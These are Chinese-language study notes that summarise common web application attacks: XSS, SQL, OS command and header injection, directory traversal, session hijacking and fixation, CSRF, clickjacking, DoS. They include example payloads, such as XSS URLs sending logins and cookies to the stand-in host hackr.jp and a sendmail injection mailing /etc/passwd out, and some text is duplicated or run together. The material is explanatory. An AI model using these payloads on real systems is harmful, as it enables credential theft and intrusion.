- 简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标
- HTTP只是一个单纯协议机制,没有提供安全性方面的功能
- 比较:SSH是具备协议级别的认证及会话管理等功能
- 解决方案:自行设计并开发认证及会话管理功能来满足web应用的安全
- 在客户端即可篡改请求

针对web应用的攻击模式
- 以服务器为目标的主动攻击:主要攻击服务器上的资源

- 以服务器为目标的被动攻击:主要攻击用户的资源和权限

一、因输出值转义不完全引发的安全漏洞
- 客户端的验证:为了尽早地辨识输入错误,提高UI体验
- Web应用端(服务器端)的验证
- 输入值验证
- 输出值转义

1.跨站脚本攻击(Cross-Site Scripting,XSS)
- 概念:通过在(存在安全漏洞的Web网站的注册用户的)浏览器内运行非法的HTML标签或者JavaScript进行的一种攻击
- 影响:
- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
- 显示伪造的文章和图片
- 案例:
- 使用有恶意代码的URL(如下),植入到欺诈邮件中或Web页面内,浏览器打开该URI后,设置在URL内的脚本就开始运行,用户填写ID和密码后,就直接发送到攻击者的网站(hackr.jp),导致个人登录信息被窃取
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s=" - 使用有恶意脚本的URL(如下),浏览器打开这个URL后,这个xss.js文件(该文件会读取用户的cookie信息)会执行,来窃取用户的Cookie信息
http://example.jp/login?ID="><script src=http://hackr.jp/xss.js></script>"
- 使用有恶意代码的URL(如下),植入到欺诈邮件中或Web页面内,浏览器打开该URI后,设置在URL内的脚本就开始运行,用户填写ID和密码后,就直接发送到攻击者的网站(hackr.jp),导致个人登录信息被窃取
2.SQL注入攻击
- 概念:SQL注入是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。
- 影响:
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务器业务关联的程序
- 案例
- 根据输入的字段检索内容
- 正常的:
SELECT * FROM book WHERE author='xxx' and flag=1,(flag=1:表示可售) - 攻击性的:
SELECT * FROM book WHERE author='xxx' --' and flag=1(–之后的内容会被判断为注释,flag=1的条件被忽略,然后所有图书都会被查询出来)
- 正常的:
- 根据输入的字段检索内容
3.OS命令注入攻击
- 概念:是指通过Web应用,执行非法的操作系统命令达到攻击的目的。
- 影响:
- 让Windows或Linux操作系统的命令行启动程序
- 案例:
- 邮件发送:分号会被解析为分隔多个执行命令的标记1234//正常调用open(MALL, "| /usr/sbin/sendmail $msg")//攻击,会将/etc/passwd下的文件以邮件形式发送给hack@example.jpopen(MALL, "| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp")
- 邮件发送:分号会被解析为分隔多个执行命令的标记
4.HTTP首部注入攻击(被动攻击)
- 概念:是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或者主体的一种攻击
- 影响:
- 设置任何Cookie信息
- 重定向到任意URL
- 显示任意的主体【HTTP响应截断攻击(HTTP Response Splitting Attack):向首部主体内添加内容的攻击】
案例
设置任意Cookie信息
- 正常:
Location: http://example.com/?cat=101(101是外部传入的) - 攻击:将
101%0D%0ASet-Cookie:+SID=123456,会解析成如下的响应12Location: http://example.com/?cat=101 (%0D%0A:换行符)Set-Cookie: SID=123456
- 正常:
HTTP响应截断攻击:利用
%0D%0A%0D%0A作出HTTP首部与主体分隔所需的空行。这样显示的主体是伪造的。
5.邮件首部注入攻击
- 概念:是指Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击
- 影响:
- 利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件
6.目录遍历攻击(路径遍历攻击)
- 概念:是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
- 案例:
- 文件名通过外部指定。正常:
http://example.com/read.php?log=0401.log,不正常:http://example.com/read.php?log=../../etc/passwd。
- 文件名通过外部指定。正常:
7.远程文件包含漏洞
- 概念:是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取后,就可运行任意脚本的一种攻击
- 主要是PHP存在的安全漏洞
二、因设置或设计上的缺陷引发的安全漏洞
1.强制浏览
- 概念:该漏洞是指,从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
- 影响:
- 泄露顾客的个人信息等重要情报
- 泄露原本需要具有访问权限的用户才可查阅的信息内容
- 泄露未外连到外界的文件
- 案例:
- 直接指定文件目录或文件名称,进行访问
2.不正确的错误消息处理
- 概念:Web应用的错误消息内包含对攻击者有用的信息
3.开放重定向
- 概念:该漏洞是指加入指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个Web网站
- 开放重定向(Open Redirect)是一种对指定的任意URL作重定向跳转的功能
三、因会话管理疏忽引发的安全漏洞
1.会话劫持(Session hijack)(主动攻击)
- 概念:攻击者通过某种手段拿到用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的
2.会话固定攻击(被动攻击)
- 概念:强制用户使用攻击者指定的会话ID
- 案例:
- 攻击者先访问网站拿到会话ID
- 攻击者设置强制用户使用该会话ID的陷阱,等待用户拿着这个ID去认证
- 用户认证成功后,攻击者用这个会话ID访问网站
3.跨站点请求伪造(Cross-Site Request Forgeries, CSRF)(被动攻击)
- 概念: 攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新
- 影响:
- 利用已通过认证的用户权限更新设定信息
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论
案例:
用户A在网站W上是认证状态,浏览器中的Cookie持有已认证的会话ID
123GET /HTTP/1.1Host:example.comCookie: sid=123123攻击者设下陷阱(用户一旦访问就会在留言板上发言),用户触发陷阱后,就会在留言板上发言
123456//陷阱<img src=http://example.com/msg?q=你好>//用户触发陷阱GET /msg?q=你好 HTTP/1.1Host:example.comCookie: sid=123123
四、其他安全漏洞
1.密码破解
- 概念:密码破解攻击即算出密码
- 手段:
- 通过网络的密码试错:穷举法;字典攻击
- 对已加密密码进行破解
2.点击劫持(界面伪装)
- 概念:指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段
3.DoS 攻击
- 概念:让运行中的服务呈停止状态的攻击
- 手段:
- 集中利用访问请求造成资源过载,资源用尽,使得服务停止
- 通过攻击安全漏洞使服务停止
- DDoS攻击:多台计算机发起的DoS攻击
4.后门程序
- 概念:开发设置的隐藏入口,可不按正常步骤使用受限功能